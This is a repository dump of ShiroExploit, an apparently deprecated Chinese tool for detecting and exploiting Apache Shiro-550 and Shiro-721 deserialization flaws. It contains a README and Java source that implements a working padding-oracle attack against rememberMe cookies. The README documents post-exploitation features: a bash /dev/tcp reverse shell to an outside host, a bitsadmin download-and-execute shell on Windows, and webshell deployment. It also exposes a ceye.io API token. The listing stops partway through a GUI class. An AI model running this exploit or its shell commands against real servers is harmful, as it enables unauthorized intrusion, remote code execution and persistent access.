├── .idea
├── $PRODUCT_WORKSPACE_FILE$
├── .gitignore
├── Shiro-721.iml
├── artifacts
│ └── ShiroExploit.xml
├── compiler.xml
├── misc.xml
├── uiDesigner.xml
└── vcs.xml
├── README.md
├── imgForReadMe
├── pic1.jpg
├── pic2.png
├── pic3.png
├── pic4.png
├── pic5.png
├── pic6.png
├── x001.jpg
├── x002.png
├── x003.png
├── xxx.png
└── yyy.png
├── pom.xml
└── src
├── META-INF
└── MANIFEST.MF
└── main
├── java
└── com
│ └── shiroexploit
│ ├── core
│ ├── AesEncrypt.java
│ ├── PaddingOracle.java
│ └── RoundTask.java
│ ├── gui
│ ├── AboutPane.java
│ ├── ConfigPane.java
│ ├── Console.java
│ ├── MainPane.java
│ ├── PenddingUI.java
│ ├── PromptMessageUI.java
│ ├── ProxyConfigPane.java
│ └── StartPane.java
│ ├── server
│ └── BasicHTTPServer.java
│ ├── task
│ ├── GetDNSLogRecordTask.java
│ └── TestConnectionTask.java
│ ├── util
│ ├── Config.java
│ ├── ConfigReader.java
│ ├── EchoType.java
│ ├── EchoUtil.java
│ ├── ExploitFailedException.java
│ ├── HttpRequest.java
│ ├── HttpRequestInfo.java
│ ├── MyX509TrustManager.java
│ ├── PayloadType.java
│ ├── RememberMeCache.java
│ └── Tools.java
│ └── vulnverifier
│ ├── Shiro550VerifierUsingEcho.java
│ ├── Shiro550VerifiertUsingCeye.java
│ ├── Shiro550VerifiertUsingDNSLog.java
│ ├── Shiro550VerifiertWithJRMP.java
│ ├── Shiro721VerifierUsingEcho.java
│ ├── Shiro721VerifierWithJRMP.java
│ ├── Shiro721VerifiertUsingCeye.java
│ ├── Shiro721VerifiertUsingDNSLog.java
│ ├── Verifier.java
│ └── VerifierFactory.java
└── resources
└── my.css
/.idea/$PRODUCT_WORKSPACE_FILE$:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | 1.8
8 |
9 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /workspace.xml
--------------------------------------------------------------------------------
/.idea/Shiro-721.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/.idea/artifacts/ShiroExploit.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/out/artifacts/ShiroExploit
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/.idea/uiDesigner.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | -
6 |
7 |
8 | -
9 |
10 |
11 | -
12 |
13 |
14 | -
15 |
16 |
17 | -
18 |
19 |
20 |
21 |
22 |
23 | -
24 |
25 |
26 |
27 |
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | -
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 | -
52 |
53 |
54 |
55 |
56 | -
57 |
58 |
59 |
60 |
61 | -
62 |
63 |
64 |
65 |
66 | -
67 |
68 |
69 |
70 |
71 | -
72 |
73 |
74 | -
75 |
76 |
77 |
78 |
79 | -
80 |
81 |
82 |
83 |
84 | -
85 |
86 |
87 |
88 |
89 | -
90 |
91 |
92 |
93 |
94 | -
95 |
96 |
97 |
98 |
99 | -
100 |
101 |
102 | -
103 |
104 |
105 | -
106 |
107 |
108 | -
109 |
110 |
111 | -
112 |
113 |
114 |
115 |
116 | -
117 |
118 |
119 | -
120 |
121 |
122 |
123 |
124 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### 2019.11.9 update:
2 | 由于当初作者开发时能力有限,导致工具本身存在着笨重及问题较多等诸多缺点。目前有很多其他的优秀工具提供了对shiro检测/利用更好的支持(如更好的回显支持,更有效的gadget与直接支持内存shell等),此工具目前已相形见绌。请各位移步其他更优秀的项目,感谢各位的使用。
3 | ### 2019.9.20 update:
4 | 对回显方式进行了一次更新,希望现在能好用一点
5 | ### 2020.9.12 update:
6 | 很多回显方式在本地测试OK,但是在实际环境中却不行,这个问题我不知道该怎么解决,希望有师傅可以指导下或者一起讨论下。
7 |
8 | # ShiroExploit
9 | 支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式
10 |
11 | ## 使用说明
12 | ### 第一步:按要求输入要检测的目标URL和选择漏洞类型
13 | + ```Shiro550```无需提供rememberMe Cookie,```Shiro721```需要提供一个有效的rememberMe Cookie
14 | + 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果不指定会遍历所有的 Key/Gadget/EchoType
15 | + 复杂Http请求支持直接粘贴数据包
16 | 
17 |
18 | ### 第二步: 选择攻击方式
19 | 
20 |
21 | #### 选择 ```使用 ceye.io 进行漏洞检测```
22 | + 可以不进行任何配置,配置文件中已经预置了 CEYE 域名和对应的 Token,当然也可以对其进行修改。
23 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
24 | + 缺点:程序会使用 API:http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget
25 |
26 |
27 | #### 选择 ```使用 dnslog.cn 进行漏洞检测```
28 | + 可以不进行任何配置,每次启动时程序会自动从 ```dnslog.cn``` 申请一个 DNS Record。
29 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload
30 | + 缺点:少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget,且 dnslog.cn 只会记录最近的10条 DNS 解析记录
31 |
32 | #### 选择 ```使用 JRMP + dnslog 进行漏洞检测```
33 | + 需要在 VPS 上通过命令```java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]```开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口
34 | + 如果开启 HttpService/JRMPListener 时未指定端口号,则 ```HTTPService``` 默认监听 ```8080``` 端口,```JRMPListener``` 默认监听 ```8088``` 端口
35 | + 使用 ```JRMP``` 的方式进行漏洞检测,可以显著减小 cookie 大小
36 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后使用 ```JRMP``` 依次为各个 Gadget 生成对应的 JRMPListener
37 |
38 | #### 选择 ```使用回显进行漏洞检测```
39 | + 针对不出网的情况进行漏洞检测,此时可以检测的 Gadget 类型会少于使用 DNSLog 方式的 Gadget类型
40 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后依次判断可用的 Gadget 类型和回显方式
41 | + 支持多种回显方式,回显方式和代码请参考 [deserizationEcho](https://github.com/feihong-cs/deserizationEcho)
42 | + 使用写文件回显方式时,可以提供一个静态资源 URL,程序会将此静态资源所在的目录当做写入目录,若不提供,则写入根目录
43 | + 测试 vulhub 拉取的镜像及 Windows下用 Tomcat 搭建的测试环境,结果如下
44 | 
45 | 
46 |
47 | ### 第三步:检测漏洞并执行命令
48 | + 程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。
49 | + ```反弹shell(linux)``` 采用 ```bash -i >& /dev/tcp/1.2.3.4/443 0>&1``` 的方式反弹 shell
50 | + ```反弹shell(Windows)``` 采用 ```bitsadmin``` 下载指定 URL 的 exe 文件并执行的方式获取 shell
51 | + ```获取Webshell``` 直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取
52 | 
53 |
54 |
55 | ## 备注
56 | 在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。
57 |
58 | ## 致谢
59 | 感谢 [AgeloVito](https://github.com/AgeloVito) ```怕冷的企鹅``` 给予本项目的技术支持
60 |
--------------------------------------------------------------------------------
/imgForReadMe/pic1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic1.jpg
--------------------------------------------------------------------------------
/imgForReadMe/pic2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic2.png
--------------------------------------------------------------------------------
/imgForReadMe/pic3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic3.png
--------------------------------------------------------------------------------
/imgForReadMe/pic4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic4.png
--------------------------------------------------------------------------------
/imgForReadMe/pic5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic5.png
--------------------------------------------------------------------------------
/imgForReadMe/pic6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic6.png
--------------------------------------------------------------------------------
/imgForReadMe/x001.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/x001.jpg
--------------------------------------------------------------------------------
/imgForReadMe/x002.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/x002.png
--------------------------------------------------------------------------------
/imgForReadMe/x003.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/x003.png
--------------------------------------------------------------------------------
/imgForReadMe/xxx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/xxx.png
--------------------------------------------------------------------------------
/imgForReadMe/yyy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/yyy.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | Shiro-721
8 | Shiro-721
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 | org.apache.maven.plugins
14 | maven-compiler-plugin
15 |
16 | 7
17 | 7
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 | org.json
28 | json
29 | 20180813
30 |
31 |
32 |
33 | org.controlsfx
34 | controlsfx
35 | 8.40.17
36 |
37 |
38 | org.apache.httpcomponents
39 | httpclient
40 | 4.5.10
41 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: com.shiroexploit.gui.StartPane
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/core/AesEncrypt.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.core;
2 |
3 | import org.apache.commons.codec.binary.Base64;
4 | import javax.crypto.Cipher;
5 | import javax.crypto.spec.IvParameterSpec;
6 | import javax.crypto.spec.SecretKeySpec;
7 | import java.security.AlgorithmParameters;
8 |
9 |
10 | public class AesEncrypt {
11 |
12 | public static String encrypt(String key, byte[] payload){
13 | try{
14 | byte[] raw = Base64.decodeBase64(key);
15 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
16 | AlgorithmParameters params = cipher.getParameters();
17 | byte[] ivs = params.getParameterSpec(IvParameterSpec.class).getIV();
18 | IvParameterSpec iv = new IvParameterSpec(ivs);
19 | SecretKeySpec keySpec = new SecretKeySpec(raw, "AES");
20 | cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv);
21 | byte[] encrypted = cipher.doFinal(payload);
22 |
23 | byte[] result = new byte[ivs.length + encrypted.length];
24 | System.arraycopy(ivs,0, result, 0, ivs.length);
25 | System.arraycopy(encrypted, 0, result, ivs.length, encrypted.length);
26 |
27 | return Base64.encodeBase64String(result);
28 | }catch(Exception e){
29 | e.printStackTrace();
30 | }
31 |
32 | return null;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/core/PaddingOracle.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.core;
2 |
3 | import com.shiroexploit.util.*;
4 | import org.apache.commons.codec.DecoderException;
5 | import org.apache.commons.codec.binary.Base64;
6 | import org.apache.commons.codec.binary.Hex;
7 |
8 | public class PaddingOracle {
9 | private HttpRequestInfo httpRequestInfo;
10 | private byte[] payload;
11 |
12 | public PaddingOracle(HttpRequestInfo httpRequestInfo, byte[] payload){
13 | this.httpRequestInfo = httpRequestInfo;
14 | this.payload = payload;
15 | }
16 |
17 | private String getIntermediary(String cipherText){
18 | StringBuffer intermediary = new StringBuffer();
19 | for(int position=1; position <= 16; position++){
20 |
21 | RoundTask task = new RoundTask(httpRequestInfo, position, cipherText, intermediary);
22 | task.start();
23 |
24 | //正常情况下,每走一轮 RoundTask,intermediary 的长度应该是增加 2 的
25 | //如果某一轮 RoundTask 连续重试 5 次也没有找到有效的值,可能就是上一轮 RoundTask 拿到的结果有误,需要退回到上一轮重试
26 | if(intermediary.length() == position * 2){
27 | System.out.println("[*] After RoundTask: " + intermediary);
28 | }else{
29 | System.out.println("[*] It appears a wrong result got in previous, let's turn one round back and retry...");
30 | position = ((position - 2 ) >= 0 ) ? (position - 2) : 0;
31 | }
32 | }
33 |
34 | return intermediary.toString();
35 | }
36 |
37 | private boolean hasVuln(){
38 | Tools.getDeleteMeBaseCount();
39 |
40 | for(int i=0; i<256; i++){
41 | String hex = Integer.toHexString(i);
42 | if (hex.length() == 1) {
43 | hex = 0 + hex;
44 | }
45 |
46 | String testString = httpRequestInfo.getRememberMeCookie() + "00000000000000000000000000000000".substring(2) + hex + "00000000000000000000000000000000";
47 | byte[] bytes = null;
48 | try {
49 | bytes = Hex.decodeHex(testString);
50 | } catch (DecoderException e) {
51 | e.printStackTrace();
52 | }
53 | String payload = Base64.encodeBase64String(bytes);;
54 |
55 | if (HttpRequest.getDeleteMeCount(httpRequestInfo, payload) < Tools.deleteMeBaseCount) {
56 | return true;
57 | }
58 | }
59 |
60 | return false;
61 | }
62 |
63 | public String encrypt() throws ExploitFailedException {
64 | if(!hasVuln()){
65 | throw new ExploitFailedException("[-] Target URL seems not vulnerable to Padding Oracle Attack");
66 | }else{
67 | System.out.println("[+] Application is vulnerable to Padding Oracle Attack");
68 | }
69 |
70 | padding();
71 |
72 | StringBuffer sb = new StringBuffer();
73 | System.out.println("[*] Set Initial cipherText to 00000000000000000000000000000000");
74 | String cipherText = "00000000000000000000000000000000";
75 | sb.insert(0, cipherText);
76 | int count = payload.length / 16;
77 |
78 | for(int i = payload.length; i > 0; i = i-16){
79 | byte[] block = new byte[16];
80 | System.arraycopy(payload, i-16, block,0, 16);
81 | System.out.println("[*] Calulating block " + count--);
82 | String intermediary = getIntermediary(cipherText);
83 | System.out.println("[+] Get intermediary: " + intermediary);
84 | cipherText = Tools.xor(intermediary, Hex.encodeHexString(block));
85 | System.out.println("[+] Get cipherText: " + cipherText);
86 | sb.insert(0,cipherText);
87 | }
88 |
89 | byte[] res = new byte[0];
90 | try {
91 | res = Hex.decodeHex(sb.toString());
92 | } catch (DecoderException e) {
93 | e.printStackTrace();
94 | }
95 | return Base64.encodeBase64String(res);
96 | }
97 |
98 | public void padding() {
99 | int blockSize = (int)Math.ceil(payload.length / 16.0);
100 | System.out.println("[*] Payload has " + blockSize + " block");
101 | System.out.println("[*] Padding payload");
102 |
103 | int len = payload.length;
104 | int paddingLen = 0;
105 | while (len % 16 != 0) {
106 | len++;
107 | paddingLen++;
108 | }
109 |
110 | byte[] padding = new byte[paddingLen];
111 | for (int i = 0; i < paddingLen; i++) {
112 | padding[i] = (byte) paddingLen;
113 | }
114 |
115 | byte[] data = new byte[len];
116 | System.arraycopy(payload, 0, data, 0, payload.length);
117 | System.arraycopy(padding, 0, data, payload.length, padding.length);
118 |
119 | this.payload = data;
120 | }
121 |
122 | private String generatePayload(String IV, String cipherText){
123 | String payload = httpRequestInfo.getRememberMeCookie() + IV + cipherText;
124 | byte[] bytes = new byte[0];
125 | try {
126 | bytes = Hex.decodeHex(payload);
127 | } catch (DecoderException e) {
128 | e.printStackTrace();
129 | }
130 |
131 | return Base64.encodeBase64String(bytes);
132 | }
133 | }
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/core/RoundTask.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.core;
2 |
3 | import com.shiroexploit.util.HttpRequest;
4 | import com.shiroexploit.util.HttpRequestInfo;
5 | import com.shiroexploit.util.Tools;
6 | import java.util.concurrent.CountDownLatch;
7 | import java.util.concurrent.ExecutorService;
8 | import java.util.concurrent.Executors;
9 | import java.util.concurrent.atomic.AtomicInteger;
10 |
11 | public class RoundTask {
12 | private int threads;
13 | private String cipherText;
14 | private int position;
15 | private String rememberMe;
16 | private StringBuffer intermediary;
17 | private String suffix;
18 | private HttpRequestInfo httpRequestInfo;
19 |
20 | public RoundTask(HttpRequestInfo httpRequestInfo, int position, String cipherText, StringBuffer intermediary) {
21 | this.threads = 1;
22 | this.httpRequestInfo = httpRequestInfo;
23 | this.cipherText = cipherText;
24 | this.position = position;
25 | this.rememberMe = httpRequestInfo.getRememberMeCookie();
26 | this.intermediary = intermediary;
27 | this.suffix = Tools.xor(intermediary.toString(), Tools.generateSuffix(position));
28 | }
29 |
30 | private AtomicInteger _index = new AtomicInteger(0);
31 | public void start() {
32 | int retry = 5;
33 | final boolean[] found = {false};
34 |
35 | //增加一个 do...while 循环,目的是如果由于网络原因,某一轮 round 没有找到,重新在尝试,最多尝试 5 次
36 | do{
37 | final CountDownLatch latch = new CountDownLatch(256);
38 | final ExecutorService executor = Executors.newFixedThreadPool(this.threads);
39 |
40 | for(int a = 0; a < 256; a++) {
41 | if(!executor.isShutdown()){
42 | executor.execute(new Runnable() {
43 | @Override
44 | public void run() {
45 | int j = _index.getAndIncrement();
46 |
47 | String hex = Integer.toHexString(j);
48 | if (hex.length() == 1) {
49 | hex = 0 + hex;
50 | }
51 |
52 | String ivString = "00000000000000000000000000000000".substring(2 * position) + hex + suffix;
53 | String paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText);
54 |
55 | if (HttpRequest.getDeleteMeCount(httpRequestInfo, paddingOraclePayload) < Tools.deleteMeBaseCount) {
56 | // position=1 的时候有非常低的概率可能是满足 0x02 0x02 类似形式的padding,需要排除这种可能
57 | if (position == 1) {
58 | ivString = ivString.substring(0, 28) + "01" + ivString.substring(30);
59 | paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText);
60 |
61 | if (HttpRequest.getDeleteMeCount(httpRequestInfo, paddingOraclePayload) < Tools.deleteMeBaseCount) {
62 | found[0] = true;
63 |
64 | synchronized (RoundTask.class){
65 | intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString));
66 | executor.shutdownNow();
67 | while (latch.getCount() > 0) {
68 | latch.countDown();
69 | }
70 | }
71 | }
72 | } else {
73 | found[0] = true;
74 |
75 | synchronized (RoundTask.class){
76 | intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString.substring(32 - 2 * position, 32 - 2 * position + 2)));
77 | executor.shutdownNow();
78 | while (latch.getCount() > 0) {
79 | latch.countDown();
80 | }
81 | }
82 | }
83 | }
84 |
85 | latch.countDown();
86 | }
87 | });
88 | }
89 | }
90 |
91 | try {
92 | latch.await();
93 | } catch (InterruptedException e) {
94 | e.printStackTrace();
95 | }
96 |
97 | retry--;
98 |
99 | }while(!found[0] && retry > 0);
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/AboutPane.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import javafx.event.ActionEvent;
4 | import javafx.event.EventHandler;
5 | import javafx.geometry.Insets;
6 | import javafx.geometry.Pos;
7 | import javafx.scene.control.Button;
8 | import javafx.scene.control.TextArea;
9 | import javafx.scene.layout.BorderPane;
10 | import javafx.scene.layout.Pane;
11 | import javafx.stage.Stage;
12 |
13 | public class AboutPane {
14 | private BorderPane borderPane;
15 | private Button closeButton;
16 |
17 | public AboutPane(){
18 | drawPane();
19 | addEventListeners();
20 | }
21 |
22 | public Pane getPane(){
23 | return borderPane;
24 | }
25 |
26 | private void drawPane() {
27 | borderPane = new BorderPane();
28 | closeButton = new Button("关闭");
29 |
30 | borderPane.setPadding(new Insets(20,20,20,20));
31 | TextArea textArea = new TextArea();
32 | textArea.setWrapText(true);
33 | textArea.setEditable(false);
34 | textArea.getStyleClass().add("text-area");
35 | textArea.setText("ShiroExploit v2.51 Final by 飞鸿\n" +
36 | "你可以从 https://github.com/feihong-cs/ShiroExploit/releases 下载最新的版本\n" +
37 | "\n" +
38 | "如果你有bug反馈或者好的建议,或者有合作开发新工具的想法,或者有合肥地区好的工作机会推荐可以通过 huangfeihong_cs@163.com 联系我\n" +
39 | "\n" +
40 | "改动日志:\n" +
41 | "ShiroExploit v2.51 Final \n" +
42 | "\t1. 增加 2 种新的回显方式 TomcatEcho2, JBossEcho,将 WeblogicEcho1 和 WeblogicEcho2 进行了合并\n" +
43 | "\t2. 默认不启用 WindowEcho, Use with caution\n" +
44 | "\t3. Shiro550VerifierUsingEcho 回退到 URLDNS 方法时,由原先的使用 ceye.io 修改为使用 dnslog.cn\n" +
45 | "\t4. 增加对设置 Http 代理的支持\n" +
46 | "\t5. 增加 About 按钮\n" +
47 | "\n" +
48 | "\n" +
49 | "ShiroExploit v2.5 Final\n" +
50 | "\t1. 反编译了网上流传的 xary 的 gadget,参考其 tomcat echo 的代码对原本的 tomcat 回显代码进行优化\n" +
51 | "\t2. 对 AutoFindRequest LinuxEcho WindowsEcho 的代码进行优化\n" +
52 | "\n" +
53 | "\n" +
54 | "ShiroExploit v2.43 Final\n" +
55 | "\t1. 针对一个误报case:在使用反序列 SimplePrincipalCollection 方式寻找 key 时,即使 key 正确,也非常罕见的依然返回 rememberMe=deleteMe 的情况进行优化\n" +
56 | "\t2. 修复使用默认 User-agent(Java/版本号)导致的漏报case\n" +
57 | "\t3. 当使用 ceye.io/dnslog.cn/jrmp/echo 方式时,当使用反序列化 SimplePrincipalCollection 方式未找到 key 时,回退到 URLDNS 的方式,以最大程度的减少漏报\n" +
58 | "\n" +
59 | "\n" +
60 | "ShiroExploit v2.42 Final\n" +
61 | "\t1. 修复一个误报case, case描述:key错误的时候返回2个 deleteMe,key正确的时候返回一个 deleteMe,导致误报\n" +
62 | "\n" +
63 | "\n" +
64 | "ShiroExploit v2.41 Final\n" +
65 | "\t1. 使用反序列化 SimplePrincipalCollection 的方式检测有效 key,提升检测效率\n" +
66 | "\t2. 剔除 keys.conf.big 中无效的 key\n" +
67 | "\t3. 修改 DNSLog.cn 无法访问时错误的提示语\n" +
68 | "\n" +
69 | "\n" +
70 | "ShiroExploit v2.4 Final\n" +
71 | "\t1. 增加对多种回显方式的支持\n" +
72 | "\t2. 为 Shiro721 添加回显支持\n" +
73 | "\t3. 为 Shiro721 利用 Padding Oracle 生成 cookie 过程增加容错机制\n" +
74 | "\t4. Shiro721 不需要再选择操作系统\n" +
75 | "\t5. 修复自定义 rememberMe cookie 名称时,Shiro 721 验证出错的 bug\n" +
76 | "\t6. 检测到漏洞后,反弹 shell 或者 部署 webshell 修改为下拉框的方式\n" +
77 | "\t7. 为使用 ceye/dnslog/jrmp 的方式提供获取 webshell 的支持\n" +
78 | "\t8. 修改起始 UI,增加对 Key/Gadget/EchoType 的手工指定,支持多选\n" +
79 | "\t9. 参考 https://xz.aliyun.com/t/6227 缩小 ysoserial 生成的 payload 的体积\n" +
80 | "\t10. 更新 keys.conf.big(感谢AgeloVito提供)\n" +
81 | "\t11. 为 Shiro721 部分回显方式生成的 Cookie 提供缓存支持\n" +
82 | "\t12. 执行命令时,如果存在多个 Gadget/EchoType,随机选择一个\n" +
83 | "\n" +
84 | "\n" +
85 | "ShiroExploit v2.3\n" +
86 | "\t1. 修复之前漏洞检测失败的bug\n" +
87 | "\t2. 修复关闭窗口后程序依然运行的bug\n" +
88 | "\t3. 增加反弹shell的功能\n" +
89 | "\t4. 增加使用第三方(ceye.io)之外DNSLog平台检测key的功能\n" +
90 | "\t5. 优化UI,增加等待效果\n" +
91 | "\t6. 使用 https://github.com/wh1t3p1g/ysoserial 替代原有的 ysoserial.jar,增加 PayloadType\n" +
92 | "\t7. 其他小改动\n" +
93 | "\n" +
94 | "\n" +
95 | "ShiroExploit v2.11\n" +
96 | "\t1. 完善对 Https 的支持\n" +
97 | "\n" +
98 | "\n" +
99 | "ShiroExploit v2.1\n" +
100 | "\t1. 将部分配置从硬编码的方式修改为从配置文件读取\n" +
101 | "\t2. 支持解析复杂Http请求\n" +
102 | "\t3. 修复服务器为 Windows系统时无法检测漏洞的Bug\n" +
103 | "\n" +
104 | "\n" +
105 | "ShiroExploit v2.0\n" +
106 | "\t1. 增加GUI支持,使用更加简单快捷\n" +
107 | "\n");
108 |
109 | borderPane.setCenter(textArea);
110 | borderPane.setBottom(closeButton);
111 | borderPane.setAlignment(closeButton, Pos.CENTER);
112 | borderPane.setMargin(closeButton, new Insets(10,0,10,0));
113 | }
114 |
115 | private void addEventListeners(){
116 | closeButton.setOnAction(new EventHandler() {
117 | @Override
118 | public void handle(ActionEvent event) {
119 | Stage currentStage = (Stage) borderPane.getScene().getWindow();
120 | currentStage.close();
121 | }
122 | });
123 | }
124 | }
125 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/gui/ConfigPane.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.gui;
2 |
3 | import com.shiroexploit.task.GetDNSLogRecordTask;
4 | import com.shiroexploit.util.Config;
5 | import com.shiroexploit.util.HttpRequest;
6 | import com.shiroexploit.util.PayloadType;
7 | import javafx.application.Platform;
8 | import javafx.beans.value.ChangeListener;
9 | import javafx.beans.value.ObservableValue;
10 | import javafx.event.ActionEvent;
11 | import javafx.event.EventHandler;
12 | import javafx.geometry.Insets;
13 | import javafx.geometry.Pos;
14 | import javafx.scene.Scene;
15 | import javafx.scene.control.*;
16 | import javafx.scene.layout.*;
17 | import javafx.stage.Stage;
18 | import javafx.stage.WindowEvent;
19 | import java.io.IOException;
20 | import java.net.MalformedURLException;
21 | import java.net.URL;
22 | import java.util.ArrayList;
23 | import java.util.List;
24 |
25 | public class ConfigPane {
26 | private VBox vBox = new VBox();
27 | private StartPane previousPane;
28 | private ToggleGroup typeGroup = new ToggleGroup();
29 | private RadioButton ceyeButton = new RadioButton("使用 ceye.io 进行漏洞检测");
30 | private RadioButton dnsLogButton = new RadioButton("使用 dnslog.cn 进行漏洞检测");
31 | private RadioButton oobServiceButton = new RadioButton("使用 JRMP + dnslog.cn 进行漏洞检测");
32 | private RadioButton echoButton = new RadioButton("使用回显进行漏洞检测");
33 | private GridPane middlePane = new GridPane();
34 | private TextField ipAddress = new TextField();
35 | private TextField httpServicePort = new TextField();
36 | private TextField JRMPListenerPort = new TextField();
37 | private GridPane bottomPane = new GridPane();
38 | private ToggleGroup skipIfFound = new ToggleGroup();
39 | private RadioButton yesForSkip = new RadioButton("是");
40 | private RadioButton noForSkip = new RadioButton("否");
41 | Button previous = new Button("上一步");
42 | Button next = new Button("下一步");
43 | private TextField staticFilePathField = new TextField();
44 | private boolean used = false;
45 |
46 | public ConfigPane(StartPane pane){
47 | this.previousPane = pane;
48 | drawPane();
49 | addListeners();
50 | }
51 |
52 | public Pane getPane(){
53 | return this.vBox;
54 | }
55 |
56 | private void addListeners(){
57 |
58 | typeGroup.selectedToggleProperty().addListener(new ChangeListener() {
59 | @Override
60 | public void changed(ObservableValue extends Toggle> observable, Toggle oldValue, Toggle newValue) {
61 | if(newValue == ceyeButton){
62 | middlePane.setDisable(true);
63 | bottomPane.setDisable(true);
64 | staticFilePathField.setDisable(true);
65 |
66 | }else if(newValue == dnsLogButton){
67 | middlePane.setDisable(true);
68 | bottomPane.setDisable(true);
69 | staticFilePathField.setDisable(true);
70 |
71 | }else if(newValue == echoButton){
72 | middlePane.setDisable(true);
73 | bottomPane.setDisable(true);
74 | staticFilePathField.setDisable(false);
75 |
76 | if(!used){
